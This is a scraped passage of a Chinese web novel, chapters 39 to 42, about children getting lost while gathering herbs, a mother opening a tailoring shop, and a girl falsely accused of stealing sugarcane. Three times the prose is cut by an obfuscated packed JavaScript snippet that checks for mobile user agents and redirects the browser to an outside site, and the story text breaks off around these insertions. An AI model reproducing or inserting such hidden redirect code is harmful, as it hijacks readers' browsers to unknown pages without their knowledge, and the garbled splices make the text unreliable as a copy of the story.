顺着小路往山坡上爬了七八分钟,太阳光照在身上,热得要命,陆易宁随便在路边找了一根木棍杵着,再次重复出发前的那句话,“陆易安,我们回家吧,草药没那么好找。而且,人家那个大多都是干草药,你就算能挖到,也是生的,还要费时费力晒干。” 刚才走的半个小时的路是平的,几人打打闹闹地走着,不算累。 只是一开始走向上的山间小路,郑煦就已经累了,“陆安安,你确定山坡里真的有那些东西吗?” 放眼望去,地里几乎都是叶片已经成熟干枯了的玉米。实在不像会有刺梨和中药的地方。 “我们语文老师说,山坡是大自然的肚子,什么都能生出来。”陆易安领在前头,喘着气说。 陆易宁停下来,转身去拉陆朵朵爬土坎,“你们语文老师真的是这么说的?” 陆易安:“反正意思就是这样。” “那能生出钱来吗?”陆果果在后面问。 陆易安:“别说钱了,小孩子都能生出来。” 郑煦附和道:“难怪我妈说你是菜地生的。” 山上的刺梨大多都已经熟透烂掉了,一路爬到山坡顶,几人就只摘了四五个勉强看得下去的。 刺梨不好找,野菊花要好找一点,最难找的是蜘蛛香。 陆易宁和陆易安负责找蜘蛛香,郑煦带着陆果果去摘野菊花。 蜘蛛香的叶片呈心形状,很好辨认。如果是生长在栽种玉米或者是烟叶的地方,通常会被来做农活的人们挖走。所以陆易宁和陆易安的主攻区域就是荒地偏坡,以及山林草地里。 太阳落山,山脚下已经成了阴凉地,半山腰和山顶还被太阳照射着。 郑煦找了几个小时,野菊花采摘了不少,刺梨只摘了三个,蜘蛛香只挖了十几株,比陆易安和陆易宁挖的少多了。 实在找不到,他干脆摆烂,什么都找。适合打水漂的石头片,捡起来。拿着称手的木棒,收起来,长得有刺的木棍,更是宝贝。 赵倩身体不舒服,六点提前下班回家,郑松在上班,她想喊个人去马路对面的熊大爷家她买点菠萝都喊不到。 睡了一觉醒来,天都快黑了,家里安安静静的,那几个孩子出去玩到现在都没回来。 赵倩去罗伟家里问黄兰,黄兰说中午看见几个孩子往她父亲家里去了。 赵倩又只好去父母家里问,结果父母刚做完农活从地里回来,压根没见着人。 赵倩从父母家开始,一路打听到家门口,周大爷扫完大街回到家,才告诉她中午听见几个孩子在马路上说什么去挖蜘蛛香的事。 天已经黑了,山里的林子深,现在又是秋天,山里都是玉米林子,根本不好找人。 林子深是小事,人贩子才是大事。 赵倩抓紧给郑松和刘秀珍,陆平打了电话,说孩子不见的事。 刘秀珍一听,心都凉了半截。 前段时间街上还在传最近经常有面包车停在路边,人贩子看见小孩就往车里拉。 村里的小孩去学校读书,以前都是成群结队上下学,无需家长送,因为走丢了几个孩子,父母都改成亲自接亲自送了。 本以为家在街边,马路上刚安了监控,碰不见这种事,可以松口气,结果那几个死孩子偏偏往没监控的山路跑。 距离陆易宁和郑煦乱跑刚过去两年,又到了到新一轮的找孩子环节。 这次更是重量级,四个都不见了。 * 山连着山,在山里,一条小路走到头,能碰见三条岔路。 白天陆易宁站在山顶,还能看见来时路,结果挖草药挖得太起劲,山顶没有太阳了才想着下山。而此时,她们已经从刚开始的那座山坡辗转去了另一座山坡。 只要太阳一落山,山里暗得特别快。 带来的水已经喝完了,比起水和食物,黑夜才是目前最该焦虑的困境。 陆易宁来不及慌乱,凭借着记忆里的路径原路返回,加上陆易安的指导,没有方向感的四人成功在山林里迷了路。 没事,山里的土地多,肯定有来做农活的大人。 得益于几个正要回家的农民指路,陆易宁成功带着另外三人从山间的小路爬到了山坳里的大马路上。 不过不是山脚的马路,是修在半山腰的马路。 陆易宁的计划是顺着小路往山脚下走,可以直达山脚的马路,到时候沿着马路回家。 结果按照大人们指的路走,走着走着就到大马路上了。 幸运的是今天的月亮很亮,不过要走山间小路,这点亮光实在是太微弱了。山里的路错综复杂,经常碰见岔路,顺着半山腰的马路走,也不一定能走到山脚下,很有可能去的是另一个村镇。 * 大人们骑着摩托车在路上到处喊他们的名字。 郑煦走在马路上,手里拿着三根棍子,走到哪打到哪,路边的野草全倒在他的棍棒下,他倒是轻松惬意。 饿是饿了点,但是在山上看见的月亮很好看,又圆又亮,跟在家里看的完全不一样。 一眼望去,整个山坳都是月白色的。 “郑阳阳,你是不是傻?来山里该找的不找,就找些烂木棍。”陆易安背着箩筐,走在后面,好几次差点被他的棍子打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四人排成一排站在院子里,陆平板起一张脸,“晓不晓得错哪儿了?” 陆果果边哭边说,“不该大晚上不回家。” 陆易安不服气,“又不是我们故意不回的,是找不到路了。” “你嘴巴又开始厉害了?”刘秀珍在家里听见她顶嘴,火气冒上来,“信不信老子马上拿棒棒来?” 陆易安:“……” 郑煦的认错态度很认真,“以后我再也不去了,大伯,你跟我妈说,今晚不要打我了行不行?” “你们也该打。”陆平教育道:“这段时间人贩子多的很,开着面包车,在路上看见小孩就拽进车里。在学校附近他们都不怕,你们还偏偏往他们最喜欢的山路跑。” 陆平放出狠话,“以后放学放假,你们谁再敢乱出去跑,我管你是挖药还是挖什么,我才不会像今天这样帮忙劝着,我也要跟着一块打!” 陆易宁默默地听着,没说话反驳。 人贩子的事她知道,不过那几个人贩子还没出省就被警察抓了。拐去的几个孩子过几天也会被警察送回家,当然,这一切还没发生,只有她知道。 40.第四十章 国庆假期结束,纺织厂大幅度裁员。赵倩因为怀有身孕,不用工厂领导开口,自己就把工作辞了。 离开工厂,本来就打算开店的赵倩没几天就上街选店面。 以前在四川时,她在网吧里打过一段时间的工。那间网吧不大,但是每天都有很多人来,想必老板的钱包每天都是哗哗进账。 风阳镇的街道分成上街和下街。郑陆两家住的地方便是下街的街口。 上一年,下街修街道,街道拓宽成了以前的两倍,修建街道时,不少人在街边建房子,就是为了租给别人做生意。 现在许多上铺集中在上游街,用不了多久,下游街道也会热闹起来。 赵倩选了一个离家比较近的商铺,铺子分成两部分,后面宽阔的那一间房用来上网,前面的一部分,则是卖一些吃的,比如饮料,泡面。 商铺里的墙面刚粉刷完,还在安装桌子。她不好在现场一直盯着,郑松今天不上班,带着郑煦去现场,赵倩终于可以回家躺着。 走路回家就几分钟的事。 * 学校期中考试结束,陆果果终于漏出了马脚。 学前班升一年级时,她的成绩是满分。一年级的数学期中考,她的数学光荣获得了二十五分的优秀成绩。 刘秀珍许久没检查女儿的学习情况,想着今天休息,瞅一眼。将几个女儿书包里的试卷翻出来看了一遍,看到的结果是大女儿每次测验,无论是语文还是数学,都在五六十这个分段。 令她欣慰的是二女儿依旧稳定发挥,心梗的是小女儿。 小家伙之前次次考一百,自从和李圆圆分开坐以后,啪叽一下掉到底,试卷上全是十几分,二十五已经是最高的分数。 天气已经开始变凉了,深秋的风吹不散刘秀珍眼前的阴霾。 肯定是看电视看的。 刘秀珍关掉电视机,三姐妹没一个敢说话。 怕被限制看电视的自由,陆易宁连忙说:“妈,陆果果成绩下降得厉害才不是因为电视。” “那是为什么?” “因为她之前的考试全是抄别人的答案。” “老师又没说我不能抄别人的。”陆果果理直气壮地说:“他只让我们把空填满,我填不满,就只能看别人的了。这次我本来能得高分的,谁让数学老师不准我看别人的答案,都怪数学老师。” 刘秀珍差点被女儿的话击晕,感情这小家伙现在才知道做试卷不能看别人的答案。 陆易宁身体向后躺,看了陆果果的后脑勺一眼。 挺圆的啊,也不扁呀! 嗯,是真笨,跟头扁头圆没关系。 刘秀珍哭笑不得,“测验测验,就是自己做自己的。你看别人的,那是别人想的答案,跟你有什么关系?” 陆果果有点不服气,“好嘛,那我以后自己写,不抄别人的了。” 刘秀珍的视线转至陆易安身上,陆易安早就编好了说辞,“我们是试卷太难了,最高的也才七十多分。” “人家张玉梅跟你同一张卷子能考八十多,你们两个不是一个班的吗?” 陆易安想反驳,但是反驳不了。 方一敏最喜欢做的事就是拿她家的张玉梅和陆易安做对比。 比学习,比懂事,比有礼貌,比聪明程度。 明面上看来,陆易安经常被老师批评,是被碾压的份。 “看电视,看电视,只知道看电视。”刘秀珍二话不说,走上前,把连接电视机和机盒的视频线扯了,指着陆易安和陆果果说:“你们两个,以后放学,必须给我待在楼上多学两个小时。” 多学两个小时是空话。 陆易宁心如死灰,躺睡在沙发椅上。老妈忙着上班,哪有心思盯那两个家伙学习。 不过,城墙失火,殃及池鱼是真的。 比回到家摸电视机温度还要做得绝的是,没收电视视频线。 从此,电视机就成了一个摆设,一个徒有其表,打开一看只有纯蓝色背景画面,没有丝毫内容的空壳。 “妈,那我能看吗?”陆易宁试着做最后的挣扎。 “你也不能!”刘秀珍将视频线裹成一团揣在口袋里,“你一看,你自己成绩下降,你姐你妹的成绩更会降!” “……” 赵倩回家来,碰巧撞见这一幕。 刘秀珍将大女儿小女儿赶去楼上学习,陆易宁待在楼下。 陆果果和陆易安跑回房间自然是不会学习的。 两人又开始给芭比娃娃做裙子。 赵倩的目光随着陆易安和陆果果的身影至二楼阳台,“怎么了?在路上都听见你在骂人。” “我要气死了,两个月没盯她们学习,今天一看,除了陆七七,没一个的分数看得下去的。” 赵倩以为是刘秀珍太苛刻,“哎哟,要考多少分你才满意啊?你以为谁都像陆七七啊?” 郑煦的学习成绩向来无需赵倩操心,那家伙贪是贪玩了点,但是成绩一直是排在前头的。 刘秀珍将窗户下方的木凳子拉到门口坐下,心累地说:“一个五十多分,一个十几二十分。” “……” 赵倩默了默,“哦,那是该操点心。” “厂里这个月更忙了,人越来越少,说是没订单,偏偏我们每天都在加班。”刘秀珍翘起二郎腿,一巴掌拍小腿肚上,“孩子学习盯不了,厂里的活越来越累,迟早要完啊,迟早要完。” “那就不去呗。” 陆易宁从屋里拿了一张木椅子出去给赵倩坐。 赵倩坐下来,笑着说,“姐,你是不知道我这一个月来,不用昼夜颠倒有多舒服。” “你不是说想要开做衣服的店吗?”赵倩鼓励道:“那就开呗,你有那个手艺,买个缝纫机,随便裁几块布,都比街上那几家死贵死贵的服装店里卖的好看。” 陆易宁听罢,连忙跑出来,“对啊对啊,妈,要不你别进厂了,我们听倩倩阿姨的吧。” “现在街面刚扩宽,还没几家店面。”赵倩说:“下街的租金便宜,我听我爸说,以后百货市场都要搬到下面来。等到明年,我们这条新街上的店面租金可能就贵了。” 刘秀珍担心道:“可是,我这些年不常做衣服,也不知道现在流行什么款式啊?” “妈,你忘了倩倩阿姨开的是什么店了吧。”陆易宁说:“网吧哎,现在用电脑一上网,什么都能查。别说衣服流行款式了,你还能在电脑上面打广告。人家城里现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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建材厂还在坚持,但是折腾到年底,给工人们发了相应的工资后,明年是否开工都是个未知数。 几年前,原本在外打工进厂的人回到故乡进厂。今年年底,都在到处打电话,找关系年后一起去广东,去浙江找活干。 刘秀珍离开工厂后,陆易宁每天都在她的耳朵边吹风,让她开个裁缝店试试水,加上赵倩的鼓励,陆平也说试一试无妨,刘秀珍总算愿意尝试一下没做过的事。 十二月中旬,刘秀珍在赵倩店铺隔壁的隔壁租了一间六十平米的房子。前面的房间用来做衣服,后面的房间是给客人量尺寸用的,另外再隔出了一个小房间,用来给客人换衣服。 对母亲开店的事,陆易宁一直持有积极态度。 前两世,母亲没有开店,而是在家里做一些散活,知道她手艺的人也就是家附近的人。 这一次,说不准能打出一阵名声呢。 网吧和制衣店中间的店铺是一家米粉店。 米粉店还没装修好,但是陆易宁已经想到以后去店里找老妈,一定要当米粉店的第一位客人。 41.四十一章 被剥夺了自由看电视的权利,几个月内,陆易安带着陆果果可谓是和刘秀珍斗智斗勇。 刘秀珍将视频线藏在后院猪圈的砖洞里,陆易安可以耐心地检查每一块砖。视频线被藏在干田里,陆易安能提着铲子将整块干田全部翻一遍。 藏完又找,找完又藏,反反复复。 刘秀珍离开工厂后,有了更多时间待在家,陆易安看电视更困难了。 最后,刘秀珍直接将视频线藏在一个最不可能的地方。 陆易安找了半个月没找到,两姐妹无奈,只能合伙出钱,去街上偷偷买了一根回来。 结果在安装视频线的时候,才发现原来的视频线好端端地插在电视机和机盒上。 果然啊,最危险的地方就是最安全的地方。 这段时间,刘秀珍在盯店铺装修,今天还要忙着和赵倩去县城里。她去选布匹,赵倩和郑松去电脑商城。 陆天松生病,陆平回吉长去侍疾。 没有一个大人在家,真的是难得的看电视时间。 陆易安装好视频线,打开电视机,周六一整天几乎都是坐在电视机前度过的。 陆易宁睡午觉睡到下午四五点,一下楼,陆易安和陆果果还在看电视。 陆易安是遥控器的主掌者,她想看什么看什么,陆果果想看动画片,求了她半天都没成功,只能被迫和她看偶像剧。 “你们还在看?!” 陆易宁推开门,陆易安还以为是谁,连忙起身去关电视,看见是陆易宁又坐回去。 陆易宁提醒道:“下周三就期末考试了,妈回来摸着电视机是烫的,你就倒大霉了。” 陆易安撑着下巴看偶像剧的男主摆出各种油腻的小动作,看得津津有味,“等会把窗子打开,让冷风吹进来,就不烫了。” “她一直看这个,看得我难受死了。”陆果果躺睡在木椅上,用毯子裹着自己的腿,瞪着陆易安的后脑勺骂道:“陆安安,霸王龙!” “你不懂。”陆易安回头看着她说:“这个才好看,动画片幼稚死了。” 陆果果:“看得我难受。” 陆易宁凑上去坐在陆果果的脚边,将毯子拉来盖住自己的膝盖,“难受就对了,你那是被男主油蒙了。” 看了一会儿电视,陆易宁看不下去,男主实在是太油了,就和陆果果回楼上给芭比娃娃做裙子。 陆易安继续跟个傻子一样对着电视机乐呵。 听见刘秀珍的声音出现在路口,陆易安终于从电视剧里抽离出来,赶紧关掉电视机。 将电视机前的一切恢复成原状后,陆易安才打开门,让冷风吹进屋给电视机降温。 刘秀珍回到家时,将买来的三角粑放在小饭桌上,先是检查火炉还烧着没,再是检查电饭锅里的米饭。 很好,早上煮的米饭还剩四分之三,一看就知道三个孩子今天只吃了一顿饭。 陆易安蹑手蹑脚地跟在刘秀珍身后,“妈,你们今天去县城吃了什么好吃的吗?” “吃了米粉。” 刘秀珍绕到电视机前,不用摸电视机的后面,光是站在电视机前就能感知到屏幕的温度。 陆易安撒开腿就跑,“我先上去做作业了!” 刘秀珍将视频线再次扯下来,“陆安安,你一天到晚只知道看电视,一点作业都没做是不是?” “下个星期就要考试了,你知不知道?” 刘秀珍的声音飘到二楼,陆易宁看着急冲冲跑回房间的陆易安,“你看,我就说嘛,这下好了。” 陆易安四仰八叉地躺在床上,丝毫不在意,“我还有另一根线。” * 期末考试随后而至,由于刘秀珍盯着,陆易安和陆果果被每天下午六点到八点这个时间段都被逼着坐在书桌前学习。 陆易宁还好,赵倩家的电视机限制条款没那么多,她忙完自己的,晚上还能去陪赵倩看电视剧。 刘秀珍允诺,只要期末考试结束,就归还看电视的权力,前提是陆易安和陆果果的语文数学必须及格。 对于陆易安来说,这容易,对于陆果果,这可太难了。 为了看电视,陆易安每天晚上都会额外给陆果果补课。 陆易宁看电视回来,经常撞见陆果果被陆易安揍哭。 也是,她教陆果果做题时,气哭的只能是自己。但是陆易安不是能气哭自己的人,要哭,也只能是别人哭。 期末考试结束,被陆易安揍了几天的陆果果终于可以松口气。 陆易安不用给陆果果补课,不用生气,陆果果又成了陆易安的可爱妹妹。 考试只考语文数学,上午九点至十一点半考语文,下午一点至三点考数学。 在陆易安的拳头恐吓之下,陆果果有生以来,第一次看得懂一点题目。 大学生已经放假了,周丽暑假实习没回来,寒假才回来。陆易宁又跑去周大爷家里找她玩,陆易安喊她上街她也不去。 赵倩的网吧在安装电脑,周星和郑煦恨不得一天都沾在店里。 从陆易宁那里抠来几块钱,陆易安带着陆果果上街去买芭比娃娃,家里的芭比娃娃太小了,需要买一个大一点的。 这样的话,等母亲的制衣裁缝店开店,就可以用好看的料子给她做衣服穿了。 熊大爷的水果摊摆放在街上的十字路口处。旁边的店有卖服装的,办电话卡的,卖文具的。 这些店的门口大多都是卖菜的摊贩。一些老头老太太会种一些菜上街卖,现在下街的菜市场还没建好,没有统一的去处,老人们摆摊的位置通常是在街上热闹的区域,随便一家店的店门口。 只要他们不挡着客人,店铺的老板们不会说什么的。 一个大喇叭摆在水果上,里面重复地播放着水果的喊卖录音。 “卖香蕉,十块钱五斤。”一句老人的声音后面,紧接着的是一个甜糯糯的小女孩声音,“买香刁,十块钱五斤~” 就像是爷爷教孙女说话一样,爷爷夹起声音说一句,小孙女在后面乖乖的说一句。 在冬日的寒风里,一老一少的叫卖声无疑是最温暖人心的爱意。 因为这个叫卖声,熊大爷的水果摊前经常有人来买水果,一听见喇叭里的小女孩的声音,心都快暖化了。 陆易安带着陆果果走出精品店,听见路口熊大爷水果摊的叫卖声,连忙跑过去。 喇叭里小女孩的声音是陆果果的,帮熊大爷录叫卖声的时候她才四岁。 当时熊大爷本想请陆易安帮忙录一下普通话版本的叫卖声,他想在路修好后开车去县城里卖水果,叫卖声里再加上普通话版本的声音会好一点,为此还专门买了一个新喇叭。 陆易安心生一计,回家喊上话都说不清楚的陆果果一起去熊大爷家里,一句一句地教陆果果说词儿。 可是一条路修到现在都没修好,他没机会去县城里卖水果,刚好前几天给孙女收拾房间,找到了被遗忘在墙角的喇叭,孙女说可以试试用不一样的叫卖声招揽生意。 他听完,干脆拿上街试试水。 事实证明,小孩子说话时,甜甜的声音很讨大人喜欢。附近的商家今天都来买水果了,还问是不是她的小孙女录的。 就是很多人是按着喇叭里播放的价格买水果,几年过去,有的水果价格低,有的水果价格高了一点。不过大差不差。 “熊爷爷,你的生意好好啊!”陆易安走到水果摊前。 四点还没到,熊大爷的水果摊上已经没有多少水果了。 熊大爷埋头给顾客找零钱,闻声抬头看了陆易安一眼,“安安来了。” “哎哟,喇叭里的声音就是你这个小孙女录的啊?真好听!”正在选橘子的一个女人被陆易安的声音引过去,目光随即落在陆果果脸上。 小姑娘圆头圆脑的,小脸圆嘟嘟的,耳朵后面绑着两个手指头长的小揪揪,双手抱着一个穿粉裙子的芭比娃娃,大眼睛一直盯着木桌上所剩不多的甘蔗看,长长的睫毛扑闪扑闪的。 “谢谢嬢嬢。”陆易安拉着陆果果凑到女人跟前,指着她口袋里的橘子说:“我妹妹很喜欢吃这个橘子,爷爷卖的橘子很甜的,吃了一个保证停不下来哦,是不是啊,小果儿?” “是。”陆果果重重地点头。 女人笑呵呵地说:“好好好,我再多买一点。” 没几分钟,橘子没了,甘蔗也没了。 熊大爷抽出空问陆易安,“安安,你和妹妹想选什么抓紧选,待会没了。” 陆易安看了陆果果一眼说:“我想吃甘蔗,等下次赶集,我再来买吧。” “我怎么会收你的钱呢?甘蔗我家里面有两根,你带着妹妹去我家,我家门没关,乐乐在家呢,她会拿给你的。” 陆易安问:“住在你家里的那个姐姐叫乐乐吗?” “对啊,她叫乐乐,她刚来几天,有点害羞,不喜欢出来玩,你别觉得她是在给你甩脸子啊。” “好的。”陆易安牵着陆果果离开,“熊爷爷你忙吧。” …… 方一敏坐在零食店收银台后面守店,一个抬眸,就瞅见马路对面,陆易安和陆果果推开熊大爷家里的门。 没一会,两个小家伙抱着一根长甘蔗出来,每人手里还拿着一个橙子。 对陆易安,方一敏一直记恨着呢。 不就是几年前多收了她几块钱的零食钱吗,这死丫头硬是撺掇着周围的小孩不来家里买零食,害得她一个多月没有一点生意。 好啊,现在被抓着小辫子了吧,居然敢当着自己的面开别人家的门偷东西。 天黑之前,刘秀珍关好店门,和赵倩一块回家。经过零食店时,方一敏便添油加醋地说陆易安带着妹妹去熊大爷家里偷东西。 刘秀珍问了熊大爷家附近的邻居,都说了陆易安从熊大爷家里拿了一根甘蔗的事。 刘秀珍生气地回到家,她还没问呢,陆易安和陆果果已经被陆平揍了一顿。 陆平今天从吉长回来,回家的路上,方一敏一看见他,恨不得用尽最大的声音在大马路上说陆易安和陆果果会偷东西。不仅如此,她还编排两姐妹会别人家的撬门,让附近的人把门锁好。 回到家,陆平看见大女儿和小女儿在吃甘蔗,二话不说,将甘蔗抢过来就开始教训孩子。 他不喜欢打孩子,但是一旦孩子犯了原则性的错误,他打得更严重。 陆易宁听见哭声跑回家时,陆果果蹲在墙角一直哭,陆易安虽然掉眼泪,但是没怎么哭出声。 “我没偷,是熊爷爷喊我去他家拿的甘蔗,是谁说我偷东西的?” 再三解释都没人听,陆易安气得往门口冲,又被陆平拖回去,给了她的后背一巴掌。 “我找到她我不打死她!” 陆平不苟言笑地骂道:“你还打死她,你敢偷东西,你厉害得很!” “爸,你怎么又是别人说什么你信什么。”眼看父亲手中的烧火棍要打在陆易安身上,陆易宁急忙从门口冲进去挡着,“人家说一句话你就信,你自己的孩子你不信。她说是熊爷爷给的,你等熊爷爷回家,自己去问不就知道了?” “你走开,陆七七。”陆平已经气昏头了,陆天松生病,他本来就烦闷,女儿还学会了偷东西,直接气炸了。 赵倩跑进屋,赶紧将他手上的烧火棍卸下来,“哎哟,陆哥,你家陆安安是什么性格你还不知道吗?万一是人家方一敏看错了呢?” 刘秀珍虽气,但是比陆平冷静得多,“熊大爷还没回家,如果陆安安真偷了他家的东西,我们问清楚,再打也不迟。” 听见方一敏这个名字,陆易安擦干眼泪,在大人们歇口气的时候,跑出了家门。 陆易宁跟在她身后,陆易安直奔方一敏的零食店。 陆易安冲进零食店,二话不说,先把摆放在柜台上面的罐装糖果和烟架子全推倒在地上,“方一敏,你说我偷东西,你把证据拿出来,你不拿出来我今天就把你店砸了!” “你做什么呢?”方一敏被吓了一跳,“你爸妈没教好你啊?来我家发什么疯?” “谁让你说我偷东西!”陆易安在她店里大喊大叫,“你哪只眼睛看到的?你证据呢?” “我两只都看到了。”方一敏走出柜台,双手叉腰站在陆易安面前,“我去喊你爸妈来,看来你是真的欠收拾。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448429|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “死婆娘,瞎话婆,你喊啊!老子不怕你!” “就是因为有你这种妈,张玉梅才在学校谈恋爱,一次谈三个。拉着班上的女生欺负别人,作弊被老师骂,还好意思哭。”陆易安不喜欢告状,但是被逼急了,她可管不住嘴,“你那么喜欢告我爸妈让我爸妈打我,那今天回去,也好好打一顿你家张玉梅吧。你家张玉梅经常偷你的钱去学校请别人吃东西,连杨奶奶喂的散养鸡都被她偷去卖过钱。你该管的是你家里没学好的小偷!不是老子!你知道吗?” 住在附近的人都出门看戏。 一向乖巧听话的女儿被陆易安当着所有人的面说成了一个坏孩子,方一敏哪受得了。 “你乱说!” “我乱说?我没做过的事你都能乱说,你女儿做过的事,我还说不得了。”陆易安指着方一敏的脑门,“要不是杨奶奶和周爷爷怕邻居们觉得你家张玉梅是个坏孩子,他们早告诉你了。你还觉得你宝贝女儿厉害得很,天天拿她跟我比,你的脸皮是有多厚,当着别人的面夸一个小偷夸得头头是道的,我都替你丢脸。” 陆平和刘秀珍跑过来时,方一敏正被陆易安吼得一愣一愣的。 周围的大人都在吃瓜,听说陆易安这孩子肚子里哄人开心的鬼话多,没想到骂人也挺厉害。 为了维护方一敏的面子,陆易安在零食店门口,又被陆平打了一顿,幸亏有刘秀珍拉着,陆平才停下手。 陆易宁此时在敲熊大爷家里的门,来开门的不是熊大爷,而是一个与陆易安一般大,留着学生头的女生。 “你找谁?”熊茜乐用普通话问道。 “熊爷爷回家了吗?” “还没有。” 陆易宁终于记起来,第一世时,熊爷爷的孙女读初一还是六年级的时候就被她父母从浙江带回来。 因为上班要两带几个孩子不方便,她被父母送回老家和爷爷生活,两个弟弟则是继续在浙江读书。 “我是陆易安的妹妹,陆易宁。”陆易宁先做了一个自我介绍,指着马路斜对面,正在零食店门口哭的女生说:“她是我姐。我问一下,今天下午我姐是不是在你家拿了一根甘蔗?” “甘蔗?”女生记起来了,“对的,她和另一个小妹妹一起来的。她们帮我爷爷卖水果,我爷爷让她们来家里拿的甘蔗。” 陆易宁终于松了一口气,她就知道,陆易安不是会偷东西的人。 “我姐现在被我爸打得厉害,因为零食店老板娘说她偷你家东西,就是下午的那根甘蔗,你能帮我替她向我爸说明一下吗?” “好……好吧。”熊茜乐刚来镇上几天,很认生,不轻易出门的,既然别人都请求帮忙了,而且马路对面的那个女生哭得十分伤心,她也不好不答应。 陆易安宁愿被揍,也不放过一丝骂方一敏的机会。 陆易宁带着熊茜乐跑过来时,小丫头的小腿又挨了陆平一棍子。 因为她的嘴巴太厉害,这次连刘秀珍也跟着一块骂她。 “爸,你别打我姐了。”陆易宁挡在陆易安面前,“她根本没偷东西,那根甘蔗就是熊爷爷给她的。” 陆平骂道:“别人都看见了!” “是她们帮我爷爷”熊茜乐特意将语言频道由普通话转为不常用的方言,“是她们帮我爷爷卖水果,我爷爷喊她们来家里领的甘蔗。那根甘蔗还是我拿给她的,我还另外给了她们两个橙子。” 别人的话对陆平一向好使,陆平的火气突然被压了下来。 好像……打错孩子了。 周围的看客今儿还是第一次见熊大爷的孙女,洗车店的老板凑上来说:“人家熊大爷的孙女在家呢,那门才是开着的,怎么可能是方一敏说那种情况,居然说人家两姐妹撬门进去偷东西!” 熊茜乐:“对啊,我家门一天都是开着的,而且她们来的时候还敲门了。” 方一敏的脸色非常难看,“万一是几个孩子合伙的呢?现在的小孩子拉帮结派的,说不准。” 来帮个忙,还被扣了帽子,熊茜乐有点不高兴,“那只能等我爷爷赶集回来,我让他向你解释。” 因为熊茜乐的话,陆平没继续惩罚陆易安。 回到家,刘秀珍就骂陆平,“你也是,方一敏那张嘴你又不是不清楚,刚才打得起劲得很嘛!” “你还不是跟我一块骂了几句吗?”陆平不服气,“现在好了,你开始当好人了。” 陆易安气得要死,一回家直奔二楼,并把房门反锁,谁都进不去。 晚上,熊大爷和熊茜乐拿着录了陆果果声音的喇叭来家里,向陆平和刘秀珍说明了缘由,陆平才真正意识到自己打错孩子了。 为了帮陆易安和陆果果证明,熊大爷还提了一袋子陆易安喜欢吃的橙子过来。 陆平拿着橙子上楼,温声细语地在门口给女儿道歉,陆易安只说了一句:“你去找方一敏当你女儿,我不是!” 说了半天软话,无果。 陆平让陆易宁帮忙劝劝,陆易宁才懒得管。 打人的时候不是厉害得很吗? 两天了,白天的时候陆易安都没出过门,谁去喊她下楼吃饭都不好使。 但如果是赵倩和郑松上楼和她说话,她会接他们的话。 她现在只相信郑松和赵倩还有陆易宁,这三人放在门口的食物她会拿进屋吃。 陆果果不记仇,当晚就被陆平哄好了。 陆易安出房间门是在领成绩单当日,她开始在楼下吃饭了,就是不理陆平。 让她出门的动力才不是食欲,而是方一敏。 从陆易宁和熊茜乐的口中得知熊大爷为她证明了清白后,她有底气了,每天都要去方一敏的零食店门口奚落方一敏几句。 方一敏受不了,向她道歉,她不接受,继续在零食店门口闹。 方一敏告到陆家,陆平自知理亏,不管了。陆易安去她家砸东西他都不管了,最多不是赔点钱。 刘秀珍解释说陆易安记仇,过几天就好了,结果半个月了,陆易安每天都上门骂她“瞎话婆娘”。 陆易安不仅骂她,还拉着周围的小孩子们不要从零食店门口经过,怕被诬陷偷东西。 42.四十二章 入了冬,地上全被凝冻覆盖。 天寒是年长老人的克星。陆天松七十多岁的年纪,因为出门喂牛的时候在牛圈旁边摔了一跤,腿摔着了不说,要命的是头砸在石阶上。 在家门口喊了大儿子的名字半天,大儿子一家没一个来帮忙的,幸得陆大军听见他的呼救,连忙跑来拉了他一把。 陆天松在床上躺了半天,呻吟声不止。 陆远说老人摔倒没什么,不用送医院,睡两天就好了。 陆大军心地好,虽然陆天松和高翠英在陆平一家搬走后,经常莫名其妙针对他一家,但是面对床上叫苦连天的陆天松,他还是狠不下心。 陆平接到陆大军的电话,当天下午就赶来吉长,将陆天松送去了医院。 在医院里住了七八天,陆天松勉强能下地。医生再三交代,天气冷地上滑,不要出门,如果再摔一跤,后果会更严重。 结果陆平刚走两天,高翠英看他能下地走路了,硬要逼着他去地里割白菜。 这一次,直接摔倒睡在土坎下面一个多小时都没人发现。 从医院回来,一直躺在床上。 他不愿意去医院,陆平只好多加钱,请医生上门来给他打针输液。 店铺刚装修好,刘秀珍就关了门。本来打算今年回杨长陪马春花过年的,没办法,陆天松生病,只好先去吉长。 陆易宁和陆果果不想回老家,奈何父亲大人在电话里再三要求,并且不容反驳,她只好回去。 老两口喂了两头年猪,原本是杀来过年的,但是一看小儿子一家今年回来了,高翠英就不乐意了。 离过年还有半个多月,就赶紧喊大儿子帮忙联系人,将两头猪全卖了换钱。 陆远要了一千块的卖猪钱,在陆天松床头前守了一个星期,看见陆平和刘秀珍回来了,就没再踏进老房子一步。 刘秀珍看不过去,老人躺病床上这么久,自从她回来,就没看见过陈英和陆远来问过一句。 她上门质问陈英和陆远,刚说两句,高翠英就把她拉回去,还骂她多嘴。 刘秀珍一气之下,去刘林家住了几天。气头一过,想着要过年了,吵架不好,又在街上买了几块猪肉回去过年。 村里过年除了杀年猪以外,还有一个习俗,做豆腐。 大年三十,刘秀珍在平房里切肉,用来熬猪油,顺便可以做点油渣。 